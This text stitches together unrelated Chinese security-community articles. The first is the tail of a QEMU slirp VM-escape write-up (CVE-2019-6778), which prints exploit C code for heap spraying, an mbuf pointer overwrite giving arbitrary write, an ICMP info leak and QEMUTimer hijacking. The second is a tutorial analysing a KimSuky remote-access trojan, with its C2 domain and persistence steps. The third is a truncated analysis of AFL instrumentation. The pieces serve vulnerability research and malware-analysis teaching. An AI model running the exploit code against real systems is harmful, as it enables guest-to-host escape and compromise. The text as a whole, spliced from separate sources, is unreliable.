exp中任意地址写函数关键代码如下，首先利用malloc原语将清空堆，使得堆排布可控。接着利用与host主机113端口建立socket连接，申请出来可溢出的`struct
sbuf
*so_rcv`结构体。紧接着在后面分配一个ip切片数据包`mbuf`，其id为0xdead。由于堆的排布，该数据包是紧贴着`so_rcv`的，可以利用堆溢出覆盖`mbuf`中的`m_data`指针。最后再次发送相同id（0xdead）并且MF标志为0的数据包，`memcpy`拷贝至`m_data`指针处时，实现任意地址写。
....
//使堆排布可控
for (i = 0; i < spray_times; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
...
//建立溢出buffer so_rcv
s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("oops: client");
exit(1);
}
//建立mbuf
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面
//溢出，将指针后移
/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf，因为会有一个off by
// null = =。。。。
usleep(20000); // 不知道为啥，貌似内核会合并包？
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);
//伪造mbuf，覆盖m_data指针
// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // 覆盖m_data指针
}
write(s, payload_start, (uint8_t *)payload - payload_start);
// write(s, payload, 0x1000);
...
//再次发送相同id且MF标志位为0的数据包，实现任意地址写
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, write_data, write_data_len);
### 信息泄露
因为程序开启了PIE，所以还需要信息泄露才能进一步利用。
信息泄露主要是利用伪造ICMP响应请求包，得到响应应答包实现。主要的步骤如下：
1. 溢出修改m_data的低位，在堆的前面写入一个伪造的ICMP包头。
2. 发送一个ICMP请求，将MF bit置位（1）。
3. 第二次溢出修改第二步的m_data的低位至伪造的包头地址。
4. 发送MF bit为0的包结束ICMP请求。
5. 得到ICMP应答包，实现信息泄露。
首先是利用堆溢出将m_data的低位覆盖（exp中是覆盖低3位为0x000b00），然后利用任意地址写将伪造的icmp包写入到该地址处；接着是发送一个ICMP响应请求包，并将其MF位置1，这样它会在队列中等待剩余的数据包；然后再利用溢出将第二步中的ICMP响应请求包的m_data的低位覆盖成伪造的ICMP请求包的位置，这样响应请求ICMP包的数据就变成了伪造的ICMP请求包；最后再发送一个MF为0的数据包结束该ICMP请求，将该伪造的请求发送出去；然后等待ICMP应答包，在应答包中可以得到程序地址以及堆地址，实现信息泄露。
### 程序执行流控制
有了程序地址和堆地址，再结合任意地址写，可以往任意地址写任何的数据，因此只要找到可以控制程序执行流的目标即可。结合作者给出的writeup与前面一系列文章，仍然可以利用`QEMUTimer`搞事情。
在bss段有个全局数组`main_loop_tlg`，它是QEMUTimerList的数组。我们可以在堆中伪造一个QEMUTimerList，将`cb`指针覆盖成想要执行的函数，`opaque`为参数地址。再将其地址覆盖到`main_loop_tlg`中，等expire_time时间到，将会执行`cb(opaque)`，成功控制程序执行流。
// util/qemu-timer.c
struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
QemuEvent timers_done_ev;
};
// include/qemu/timer.h
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb; // 函数指针
void *opaque; // 参数
QEMUTimer *next;
int attributes;
int scale;
};
需要指出的是，程序一般MTU都为1500，即大于1500的数据包会被分片。而exp中使用的数据包大小是0x2000（8192）,所以需要使用命令`ifconfig
enp0s3 mtu 9000 up`，来将MTU设置的大一些，否则会报`sendto() failed : Message too long`的错误。
## 补丁比对
在目录中执行`git checkout tags/v3.1.1`，既可以拿到patch以后的代码：
case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/
{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;
if (m->m_len > so_rcv->sb_datalen //增加了检查
- (so_rcv->sb_wptr - so_rcv->sb_data)) {
return 1;
}
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
可以看到是在`memcpy`之前简单粗暴增加了检查。
## 小结
感谢Kira师傅在复现过程中的指导，大佬还是强。
在我的环境中，由于信息泄露里面基址拿到的成功率不高，所以最终exp成功率也一般，但还是学到了很多。
到这里qemu
pwn的学习就结束了，本来还打算复现`CVE-2019-14378`，但是两个好像差不多，所以就没有分析了，后面还是学习linux内核漏洞吧。
相关文件与脚本[链接](https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/cve-2019-6778)
## 链接
1. [qemu-vm-escape](https://github.com/Kira-cxy/qemu-vm-escape)
* * * | 社区文章 |
# 恶意代码分析之动静结合第一节
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
### 0x00 前言
经过了前面几节的静态分析，相信大家已经对静态分析已经有了比较深刻的理解。
应该可以比较熟练的阅读一些恶意代码中常见的汇编指令了。
在这一小节继续看一个新样本，尝试动静结合的方式来进行分析。
首先，样本还是上传到了app.any.run上：
样本hash：ae986dd436082fb9a7fec397c8b6e717
app.any.run地址：<https://app.any.run/tasks/c5066e3d-974b-499a-971f-954dbf2d5c5d/>
## 0x01 行为分析
将样本下载到本地之后，首先我们在虚拟机中将样本添加exe的后缀，发现样本的图标显示如下：
在本次行为分析中，我选择使用的是火绒剑
启动火绒剑之后，开启监控，然后选择进程过滤
将我们的进程名称添加进去
接着选择动作过滤，暂时不显示注册表操作：
接着运行该恶意样本，样本运行后，会弹出如下的对话框进行提示
该对话框告诉用户，啊我是杀毒软件ESET的更新程序，我现在更新完成了，你的电脑安全啦。
BUT，经验告诉我们，未知程序运行后的对话框、提示框啥的，一个标点符号都不要信。
本样本模仿了ESET杀软弹框，主要目的就是为了迷惑用户，让用户误以为启动的是一个干净的应用程序
除了伪装成杀软迷惑用户，恶意软件还尝尝会伪装成微软官方、office官方等权威机构进行提示以迷惑用户，在分析的时候需要注意此类提示信息。
此时，在火绒剑窗口中，已经显示本程序的所有行为：
蓝色部分很醒目，火绒剑自动标识出了三个可疑行为。
第一个是BA_extract_pe 根据缩写我们可以知道，这个动作表示释放PE文件。
结合上面的file_touch、file_open、file_write、file_chmod等操作，我们可以知道程序会在C:UsersxxxAppDataRoaming这个路径下释放一个名为eset_update.exe的PE文件。
第二个是BA_self_copy 表示自我复制
第三个是BA_register_autorun 表示应用程序通过注册表将自己写入了开机自启动。
我们可以在这个目录下找到对应的文件
顺便说一句，这个目录是一个系统环境变量路径，可以通过%appdata%访问到
除了文件相关的行为，我们继续往下看，还可以看到网络请求相关行为：
根据火绒剑和Fakenet的监控显示，本地主机(192.168.74.128:53)正在不断的向目标主机general-second.org-help.com发起请求。
这是一个非常关键的网络行为，general-second.org-help.com应该就是攻击者服务器的地址。
上次已经使用过了微步，这次我们使用奇安信的查询试试
通过奇安信的情报平台([https://ti.qianxin.com)对该地址进行查询：](https://ti.qianxin.com\)%E5%AF%B9%E8%AF%A5%E5%9C%B0%E5%9D%80%E8%BF%9B%E8%A1%8C%E6%9F%A5%E8%AF%A2%EF%BC%9A)
可以看到，确实是恶意的C2地址，且被打上了很多标签
根据标签显示，该域名很有可能被APT组织KimSuky所使用，所以该样本，很有可能来源以APT组织KimSuky。
通过行为分析，我们已经可以基本确定样本的一个行为信息：
1. 样本会将自身复制到%appdata%路径下并且重命名为eset_update.exe
2. 样本会向general-second.org-help.com进行请求。
我们可以根据这些信息，在IDA中进行快速定位。
## 0x02 完整分析
行为分析之后，一般会通过IDA对样本进行一个整体的分析，毕竟在IDA中看代码，还是会比在调试器中看代码要快很多。
我们在IDA中对样本进行概要的标注之后，即可通过调试器对标注的地方进行快速的验证。
IDA分析的流程主要还是
1. 导入表分析
2. 字符串分析
3. 代码分析（通常从Start函数或者WinMain开始）
### 导入表分析
使用IDA加载样本，然后切换到Imports窗口中：
导入表中一共有124个API函数，我这里圈出了一些可疑的API。
首先是Reg操作相关的API，恶意软件通常会通过注册表实现一系列的恶意操作，如设置开机自启动、获取一些计算机的基本信息。
除了注册表相关的API，还有CreateFile、GetFileSize、ReadFile等文件操作的API。
这里应该就是通过这些API实现文件的拷贝。
CreateProcessA通常用于创建新进程。
在最下面还有一系列用于网络请求的API
同样的，我们可以对觉得可疑的API双击跟进去，然后交叉引用查找调用位置。
比如我对InternetOpen进行交叉引用，一层一层往上找，最后可以发现通过WinMain函数中StartAddress的sub_401AA0调用，可以来到网络请求的地方。我们可以对sub_401AA0进行初步的标注：
我们可以对导入表中可疑的API进行交叉引用并标注上层、上上层、上上上层的调用位置。
使用同样的方法，对文件操作的API也进行交叉引用。
经过交叉引用发现，文件操作也在sub_401AA0函数中，说明sub_401AA0是一个大函数，等会会是我们分析的重点。
### 字符串分析
通过shift + f12打开字符串窗口
字符串表一共203个字符串，其中大部分看起来都比较正常。
在字符串表后半部分，可以看到如下与网络请求相关的信息。
以及重命名的文件名称：eset_updata.exe
我们可以对eset_update.exe进行交叉引用，最后确定在WinMain的sub_403600中进行了引用。
同时，我们可以尝试在字符串窗口中搜索我们先前看到的URL地址。但是没有结果，说明该地址是动态解密出来进行请求的。
字符串分析基本上也可以告一段落，接下来开始看代码。
### WinMain分析
默认情况下，vc编译的应用程序入口点在WinMain函数。
通过IDA加载的时候，如果程序有WinMain，也会默认停留在该函数。
按下空格键将其转换为正常汇编代码显示
程序最开始会通过CreateMutex尝试创建一个名为<GoogleUpdate_01>的互斥体，接着通过GetLastError获取最后一次错误，这里如果获取到的值不是563h(十进制1379)则跳转到后面的loc_40336C继续执行，否则就退出WinMain，结束进程。
通过查询，我们可以得知GetLastError获取到1379表示本地组已经存在：
我猜这里是攻击者写错了，按道理来讲，这里会判断GetLastError的值是否等于ERROR_ALREADY_EXISTS
这里判断是否等于1379没有实际的意义，不能起到防多开的作用。
经过后来的测试也可以发现，该样本的确可以在本地主机进行多开。
跳转到loc_40336C之后，程序首先会执行call sub_4011E0。
### sub_4011E0
进入到sub_4011E0，程序会先判断dword_41F924的值是否为0，如果等于0则跳转到loc_40120F继续执行，且这里我们可以看到，在下面0040121F的地方，程序通过mov
dword_41F924,1的方式给dword_41F924赋值为1。所以我们可以知道这里是程序首次运行的时候才会执行的代码。
接着往下看，我们可以直接看下一个跳转的条件，这里是判断LoadLibraryA是否成功加载了制定的库文件。
库文件来源于[ebp+LibFileNmae]
而[ebp+LibFileNmae]在上面赋值给了edx，和ecx一起传到了sub_401040这个函数中。
我们看到ecx的值来源于后面的”NSNSJY3iqq”
所以我们可以猜测sub_401040是一个解密函数，会将后面这个参数解密之后存放到前面那个参数的地址中。
直接上调试器验证一下，我们在win7中使用x32dbg加载该程序。
程序加载之后，会默认停留在ntdll.dll模块中，也就是系统代码中，这里我们直接F9跑到程序的默认入口点
这个时候，神奇的事情出现了，在调试器中，程序默认停留在了003897F5
而不是我们在IDA中看到的winMain地址：00403340
这就是IDA的基地址和OD加载时候的基地址不对应造成的。
IDA加载的时候，会默认以00400000作为基地址，而调试器加载的时候，基地址由操作系统决定。
我们在最开始的时候说过，win7开始，微软增加了地址随机化的功能，所以基地址往往不是默认的00400000.
这个时候，我们就需要修改IDA的基地址显示，使得IDA中的地址可以和x32dbg对应起来。
我们在IDA中选择 Edit->Segments->Rebase Program
此时的基地址位00400000，我们修改为00380000以对应调试器中的基地址。
修改完成之后，IDA中程序的地址会自动改变，winMain地址已经变成了00383340
但是此时还是与调试器默认停留的地址不符合，我们在IDA中按G，跳转到调试器的地址看看：
程序来到了start函数，通常来说，vc编译器编译的程序，有winMain的情况下，start函数属于编译器生成的函数。
我们直接在x32dbg中Ctrl+G，跳转到winMain的入口点并按下F2设置断点：
断点设置成功之后，最前面会显示红色。
此时按下F9，程序就会跑过来，命中断点，停留在winMain函数开始的地方：
这个EIP表示程序当前运行的位置。
我们找到之前在IDA中分析到的加密函数，此时由于我们修改了基地址，该函数已经变成了sub_381040
地址是00381240，我们可以用同样的方法，Ctrl + G跳转过去并设置断点。
断点设置好之后F9运行过来，成功命中断点：
此时，我们可以看到，我们之前在IDA中看到的可疑字符串在ecx中，且edx的地址为：0021F9C4
按照我们之前的推算，该函数运行后会计算ecx的字符串，将解密结果放入到edx。
我们在左下角的内存窗口中按Ctrl + G ，跳转到0021F9C4，此时是空白内存：
F8往下走了之后，可以看到0021F9C4处的确存放了一个解密出来的值。WININET.dll
由此也证明了我们的推算是正确的，我们不必要去详细看sub_381040这个函数的具体实现，只需要知道它的功能是解密参数1，放入到参数2即可。我们回到IDA对调试得到的结果分别进行标注。首先是对sub_381040进行重命名，然后是对上面解密出来的字符串进行标注。
所以这里是判断是否能通过LoadLibrary成功加载WININET.dll。
如果可以成功加载，则跳转到loc_381279，跟到loc_381279之后发现，这下面一大片_memset赋值操作，然后调用了多次我们刚才看到解密函数解密字符串。
解密成功之后调用了多次GetProcAddress，说明这里解密的字符串很有可能是具体的API名称，我们也可以在调试器中进行验证。
我们注意到，这里第二次调用解密函数，是在003813E0这里，于是我们在调试器中对该地址设置断点并跑过来(也可以直接鼠标点中这个地址，然后F4运行过来)
根据我们之前的分析已经知道，调用这个函数的时候，会把ecx的值解密然后放入到edx中。
于是我们在下面的内存窗口中，Ctrl +G 输入 edx，直接跳转到当前edx所指向的地址，这里提示了是0021EF9C
然后我们F8单步执行完这个解密函数，可以看到edx所指的这个地址已经成功解密出了urlmon.dll
解密出urlmon.dll之后，同样的会通过call esi（这里esi存放的是LoadLibraryA的地址）来加载解密出的urlmod.dll
接着程序会来到003813FB这个地方，继续调用解密函数
调用完成之后同样的会将解密得到的字符串放入edx，这里是解密了一个InternetOpenA的API
且我们可以发现，edx的值都是通过[ebp – xxxx] 得到的，在内存窗口中，这些解密的地址值相差的也不远。
我们就直接F8单步往下走，尝试将这一大段的字符串都解密出来，在API和dll都解密成功之后，程序将分别尝试通过LoadLibrary和GetProcAddress来加载dll和获取指定API的地址。
这里同样是通过[ebp-xxxx]的方式来取到刚才解密出的API/dll名称。
来到程序最后，在00381577这里还有一个call，该call执行完之后，就会调用ret结束函数。
我们在IDA中按G键跳转到00381577这个地址，发现该函数调用的是[@__security_check_cookie](https://github.com/__security_check_cookie
"@__security_check_cookie")[@4](https://github.com/4 "@4")
这是编译器为了检查cookie的安全性而生成的，我们暂时可以不用看，直接F8单步过去。然后继续F8往下走，执行retn ，返回到上一层。
至此，我们就分析完了sub_3811E0(修改基地址之前是sub_4011E0)的功能，我们可以回到IDA中对其进行标注。
我们可以看到，sub_3811E0调用完成之后，会通过test eax,eax判断eax的值是否为0，如果eax为0
则跳转到loc_3833BD，跳转过来之后结束winMain的运行。
很明显，eax是不为0的，因为我们在代码中可以看到，sub_3811E0函数的最后，通过mov eax,1的方式给eax赋值为了1，所以此时eax等于1.
eax等于1，那么程序就会连着执行四个call，分别是sub_383600、sub_381580、sub_381770、sub_382790。
我们先跟进到sub_383600。
### sub_383600
IDA中双击进入到函数，熟悉的_memset内存分配
然后通过call SHGetFolderPathA获取系统路径，具体获取的值由参数决定。
通过对SHGetFolderPathA的文档查询我们可以知道，该API会根据CSIDL的值来获取不同的路径。
而在本程序中，CSIDL的值是：1Ah，也就是16+10=26
通过IDA最下面的python输入框或计算器都可以很好的进行进制转换，比如在python输入框中输入int(0x1A)，即会输出对应的十进制数据。
所以话说回来，我们可以去搜索一下SHGetFolderPathA的CSIDL为26时会获取到哪个路径。
答案就是我们在行为分析中看到的%appdata%路径。
SHGetFolderPathA调用完成之后，程序会调用GetModuleFileNameA以获取当前进程的完整路径，GetModuleFileNameA这个API我们遇到过多次了，这里不再重复讲解。
并且在GetModuleFileNameA调用之后，程序push了三个参数到sub_383320函数。
其中第一个是[ebp + pszPath] ，也就是SHGetFolderPath函数获取到的路径。
第二个参数是aSEsetUpdateExe，IDA已经自动识别出来是%seset_update.exe
第三个参数是[ebp+NewFileName]
这里第二个参数前面的%s比较关键，基本可以推测sub_383320用于将push的第一个参数和第二个参数拼接起来放到第三个参数，也就是[ebp+NewFileName]。这里为什么不猜测sub_383320用于将应用程序拷贝到%appdata%路径并且重命名为eset_update.exe。
是因为我们可以看到GetModuleFileNameA获取到的路径会存放在[ebp+Filename]中，而在调用sub_383320的时候，并没有将[ebp+Filename]作为参数传入，所以sub_383320的功能应该是路径拼接：
跟进到sub_383320之后，发现和我们推算的一致，程序会通过_vsprintf_s进行拼接。
在sub_383320调用完成之后，[ebp+NewFileName]将会存放 %appdata%eset_update.exe
路径拼接之后，程序会通过lea指令，分别将[ebp+Filename](%E7%A8%8B%E5%BA%8F%E5%BD%93%E5%89%8D%E8%BF%90%E8%A1%8C%E8%B7%AF%E5%BE%84)和[ebp+NewFileName](%E6%8B%BC%E6%8E%A5%E5%87%BA%E6%9D%A5%E7%9A%84%E6%96%B0%E8%B7%AF%E5%BE%84)赋值给ecx和eax，在后面可以看到，程序会循环对比eax和ecx的值，检查是否匹配，如果匹配，则说明当前程序运行的路径就是%appdata%eset_update.exe。
如果不匹配程序则会在003836D4这里通过jzn short loc_3836F0 跳转到后面继续执行。
跳转过来之后程序会通过sbb 错位运算和 | 1 的运算操作eax。
注意看，此时的eax还是上面的的存放的新路径的值。
这里应该是用于判断拼接的新路径是否成功，如果成功则后面的test eax,eax不为0
计算通过之后，将[ebp+NewFileName]和 [ebp+Filename]作为参数传入到CopyFileA函数中
很明显，这里是准备将程序拷贝过去了
执行拷贝函数之后，程序会尝试将密文XTKYFWJaRnhwtxtkyansit|xaHzwwjsy[jw通过ReName_DecodeSrings函数解密存放到[ebp+SubKey]并且通过下面的RegOpenKeyExA操作该键值。
我们直接在调试器中鼠标点在0038371E这里，F4运行过来，然后在下面的内存窗口中跟随edx
F8单步执行完该函数之后，edx(0054F48C)处的地址成功被赋值为SOFTWAREMicrosoftWindowsCurrentVersionRun
这个键值已经不陌生了，该键值用于操作开机自启动项。
解密成功之后，程序会通过call RegOpenKeyEx打开该键值，如果打开失败则跳转到loc_383782，如果打开成功则继续往后执行。
成功打开的话，程序会将[ebp+NewFileName]的值赋值给ecx，然后通过一个短循环读取ecx到al。
循环读取完成之后，程序就会将[ebp+NewFileName]作为路径写入到上面的注册表键值中以建立一个开机自启动项目。写入的键值名称是后面的eset_update。
写入成功之后通过RegCloseKey关闭注册表。
我们在调试器中在0038377C设置断点并运行过来，然后F8单步往下走一步
此时，我们在注册表编辑器中打开SOFTWAREMicrosoftWindowsCurrentVersionRun，查看是否成功设置，Win+R打开运行窗口，然后输入regedit
一层一层找下来，可以看到已经成写入了开机自启动的注册表中。
成功设置好开机自启动之后，程序会调用GetModuleHandleA和MessageBoxIndirectA以创建一个消息提示框，提示框的标题和显示内容如红框所示，跟我们在行为分析中看到的一样。
成功创建后，该函数结束。
所以该函数的功能是将自身赋值到%appdata%目录下并重命名为eset_update.exe，然后将该路径写入到开机自启动中，键名称为eset_update。最后创建一个对话框以迷惑用户。
我们回到该函数头部，交叉引用回到WinMain函数中并对该函数进行标注：
### sub_381580
现在来看第二个函数sub_381580:
在sub_381580函数最开始，程序会通过GetAdaptersInfo来获取当前计算机的网卡信息。
如果获取失败，则跳转到loc_3816E8执行
在loc_3816E8处则会调用GetVolumeInformationA获取磁盘序列号。这里是获取C盘。
成功获取之后，还会调用GetTickCount获取时间以生成一个随机数。
随机数生成成功，存放到esi中，传到后面的_sprintf_s与DstBuf(上面获取网卡存储的地址)进行格式化。
所以sub_381580的功能很简单，就是获取网卡和硬盘信息并与随机数拼接。
sub_381770
00381770函数一进来就可以看到程序在通过GetVersion和GetNativeSystemInfo获取计算机的操作系统版本和位数。
同样的，将获取到的信息格式化成新的字符串：
最后传入到sub_381950做运算，函数结束。
所以sub_381580和sub_381770都是用于获取操作系统的一些基本信息
现在只剩下sub_382790
### sub_382790
sub_382790进来之后，可以看到程序调用ReName_DecodeSrings解密了两个字符串，然后调用了RegOpenKeyEx
我们还是直接在003827E5这里设置断点，运行过来，然后在内存窗口中跟随edx，F8执行之后，解密得到ScreenRibbonsDomain
继续F8单步往下走，解密第二个字符串得到：
SOFTWAREMicrosoftWindowsCurrentVersionScreensavers
通过查询资料可得知，SOFTWAREMicrosoftWindowsCurrentVersionScreensavers跟Windows操作系统的屏保相关。目前还不知道攻击者设置键值到这里做什么。
所以在这里我们可以在调试器里接着往后走，然后看到如下的内容：
这个请求地址，就是我们最开始在行为分析里面看到的地址，看来攻击者尝试将改地址写入到注册表地址中，不知道是为了后面方便取C2地址还是有其他高级的操作，要继续往后看才知道。
我们可以在IDA中找到对应的地址：0038286D:
我们双击来到qword_39A620：
点在绿色的十六进制数据上，按下R键：
这里是倒序显示的
反过来刚好就是
general-second.org-help.com
我们在qword_39A620上交叉引用，回到调用的地方，接着看接下来会干什么：
成功赋值之后，会将域名赋值给xmm0，然后赋值给szServerName。
接着通过RegOpenKeyEx打开之前打开过的SOFTWAREMicrosoftWindowsCurrentVersionScreensavers
在最下面，通过RegSetValueEx的方式，将szServerName写入到键值中。
我们在调试器中单步往下走，走到设置注册表键值的地方：
我们单步往下走，执行完成该函数，然后查看该注册表键值：
于是sub_382790的功能我们也搞清楚了，我们回到WinMain中对其进行标注。
这里可以看到，四个函数执行完之后，程序会将szServerName赋值给ecx，然后ecx传入到下面进行操作。此时ecx存放的就是C2地址。
首先一个一个小循环来判断ecx是否有值，然后通过CreateThread创建了一个新线程。新线程地址在StartAddress。
到这里，原始WinMain函数分析完毕，接下来的功能将会在新线程中执行。
### 新线程分析
StartAddress开始的地方，就给[ebp+SubStr] 赋值了word 39A72C的内容
我们这里并不能直接看出来复制的数据是什么，可以在调试器中设置断点跑过来，可以看到是rn
跳转过来之后，程序通过_memset给[ebp+Str]赋值，然后作为参数传递到了sub_382F30中
且我们可以看到，sub_382F30调用完成之后，会检查eax(返回值)是否为1，如果不等于1，则跳转到loc_3835DB
在loc_3835DB处休眠1分钟，然后又通过jmp跳转到上面loc_383410执行。说明此处是一个大循环。
我们回到sub_382F30的调用处，先通过调试器在此上设置断点，看看参数到底是什么。
通过调试器我们可以看到，此时eax指向0252F7DC，是一片空内存。
由于这样直接看不出什么，我们还是在IDA中跟进到sub_382F30：sub_382F30开头的部分是一堆赋值操作，在00382FA5的地方，可以看到一个硬编码的请求头部：Mozilla/5.0
(Windows NT 10.0; Win64; x64….
继续往下看，程序将dl_ex1.png赋值给了al，然后通过al不断的进行循环操作
一大堆循环操作完成之后，程序会call dword_xxxx
在IDA中查看这些地址，是无数据的，所以很明显，上面的循环会解密数据到这些地方，然后在后面通过call指令调用。
所以我们可以直接在调试器中F7进入到这个函数，单步往下走，看看情况。
将鼠标点到00382FE0(dl_ex1.png赋值的地方)这一行，然后F4跑过来，F8往下单步执行：
这里红色表示会跳转上去，我们直接点到下一行的位置(00382FF4),然后F4跑完该循环，接着继续单步往下走，遇到循环就通过F4的方式跑完这个循环，直到在00383068这一行看到call
381770
381770我们之前分析过，是获取网卡和磁盘信息的函数，所以这里不用再F7跟进进去，直接F8单步执行完该函数。
同样的，这里通过循环处理381770的返回值，我们F4跑完循环，继续F8.
在003830B7的地方看到了call InternetOpen
我们在IDA中按G跳转到003830B7，就是我们刚才看到的call dwrd_xxxx
回到调试器中，往下滑动，发现这几个dword都已经成功解密出了对应的API。
程序通过一系列API对指定的general-second.org-help.com发起网络请求。
请求方式为GET ,参数为：dl_ex1.png?m=9AC9AA87&NOTE=Ni4xIDogOS45fDV8djEuMAo=
这里参数的值就是先前手机到的磁盘信息和网卡信息组合的base64编码。
如果数据成功通过HttpSendRequest发送成功，程序则还会调用InertnetReadFile读取数据
如果发送失败，则会通过jmp跳转到最后关闭网络请求，退出函数。
这里肯定是访问失败的，我们可以手动修改jzn为jz，使得请求失败也会跳转过去。
跳转过来之后，发现程序还会在00383188处call call 0x388268
我们在IDA里面看一下00383188所对应的的call是什么内容
这里发现是_malloc用于开辟内存，所以我们就不用F7跟进到这个函数了，直接F8运行过，这里可以看到，如果InternetReadFile读取成功，则会跳转下去循环解密，如果读取失败则通过jmp跳转到最后关闭请求句柄，结束函数
至此，sub_382F30函数功能分析完毕，我们回到StartAddress对sub_382F30进行标注：
按道理来说，sub_382F30执行完成之后，会将[ebp+Str]赋值，然后下面将[ebp+Str]作为参数调用sub_381890。
在sub_381890函数中，是标准的base64解码函数：
所以我们这里也可以对sub_381890进行标注。
sub_381890调用结束之后，按道理来讲，读取回来的数据会经过base64解码存放到[ebp+String]
从图中可以看到，sub_381890之后会通过lstrlenA以及MultiByteToWideChar实现Unicode与UTF8相互转化。
计算完之后，又是一大堆循环计算，最后调用sub_381AA0
### sub_381AA0
首先是通过_memset给变量赋值
然后通过SHGetFolderPathA获取环境变量路径，并且对wzsiqq873j}j进行解密。
由于上面的判定条件在运行的时候会失败，所以此时直接在调试器中对这个地址下断点是过不来的。
我们可以胆子大点，直接在调试器中CTRL+G跳转到00381AA0的首地址（就是00381AA0）
然后右键，选择设置新的运行点。
然后EIP就会设置到381AA0处了
此时我们直接跳转到解密函数调用的地方然后F4跑过来：
执行之后edx就被成功赋值：
这里解密了一个rundll32.exe 说明程序后面可能会下载一个dll文件到本地，然后通过rundll32.exe调用启动dll。
接着解密了一个路径：%temp%tmp.LOG，暂时不知道该文件用于干什么，反正不是从服务器下载文件保存到这里就是收集本地数据保存到这里然后上传。
回到IDA中接着往后看，样本会将传进来的参数通过 | 分割，然后比较分割后的字符串是否有tiger标志。
如果包含了tiger标志，则通过cmd执行指令，这里的指令是服务器下发的。
这里很明显，到了样本的远控模块了。
除了tiger，在后面的代码中我们还能看到一些其他动物的标志，如wolf、snake、bear、monkey等。至此，我们基本已经将这个样本的功能分析完成，该样本属于KimSuky的远控木马，下发的远控指令为一些动物名称。由于目前服务器已经无法响应，不能正常返回数据了，我们分析到这里，该木马基本可以告一段落。
如果对后面远控指令这部分代码有兴趣，也可以继续对每个指令进行深入分析。
## 0x03 总结
本次分析的样本其实难度并不大，但是篇幅却比较长，但是相信现在大家对汇编指令都比较熟悉了。
由于篇幅较长，关于该样本的一些补充知识，将放在下一篇的开头讲解，在下一节的内容中，也将跳过讲解一些基础的汇编代码，看看如何更快的去分析恶意样本。 | 社区文章 |
# AFL编译时插桩
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
这篇文章主要从源码角度剖析AFL的编译时插桩（compile-time
instrumentation）。AFL超级棒的一点在于其“灰盒”的特性：通过编译时插桩获动态获取目标程序的边覆盖信息。此外，AFL的forkserver机制使得AFL在运行过程中只需调用一次execv()函数，避免了多次调用execv()引起的开销（注：每执行一次execv()，都需要将目标程序加载到内存，进行链接等操作）。
注意：本文只分析能获得目标程序源码、开启forkserver下的AFL的一些内部实现，主要以afl-gcc为例对插桩代码进行解读，涉及到的源文件主要有afl-fuzz.c，afl-as.c，afl-as.h 和 afl-gcc.c。
## 0x01 插桩
AFL的插桩在汇编阶段实现。在获取目标程序源码后，首先需要通过`afl-gcc/alf-g++`编译目标程序，对目标程序进行插桩，得到插桩后的二进制文件。而从源文件到可执行文件，需要依次经过：预处理、编译、汇编、链接。其中，编译器将预处理后源文件编译成汇编语言，汇编器将汇编语言翻译成机器语言，而AFL的插桩就是在汇编阶段实现。
afl-gcc本质上是一个gcc的wrapper，afl-gcc通过设置gcc的`-B`选项设置编译器的搜索路径为
“afl_path/as”。我们编译好AFL后，会在afl的根目录下生成`afl-gcc、as 和 afl-as`等文件，其中，as作为符号链接指向afl-as。接下来，本文将着重分析 afl-as.h 和 afl-as.c文件。
/* afl-gcc.c */
u8 *afl_path = getenv("AFL_PATH");
if (afl_path) {
tmp = alloc_printf("%s/as", afl_path); //tmp = afl_path/as
if (!access(tmp, X_OK)) { //判断对tmp是否有执行权限
as_path = afl_path;
ck_free(tmp);
return;
}
ck_free(tmp);
}
cc_params[cc_par_cnt++] = "-B";
cc_params[cc_par_cnt++] = as_path;
...
afl-as.c首先通过函数`add_instrumentation()`在汇编层面对目标程序进行插桩，然后再调用`gcc默认的汇编器as`或者用户设置的汇编器执行真正的汇编过程（注：用户可以通过设置环境变量AFL_AS自定义要使用的汇编器
）。
/* afl-as.c */
int main(int argc, char** argv) {
...
if (!just_version) add_instrumentation();
if (!(pid = fork())) {
execvp(as_params[0], (char**)as_params); //真正的汇编过程，as_params[0] = afl_as ? afl_as : (u8*)"as";
FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]);
}
...
}
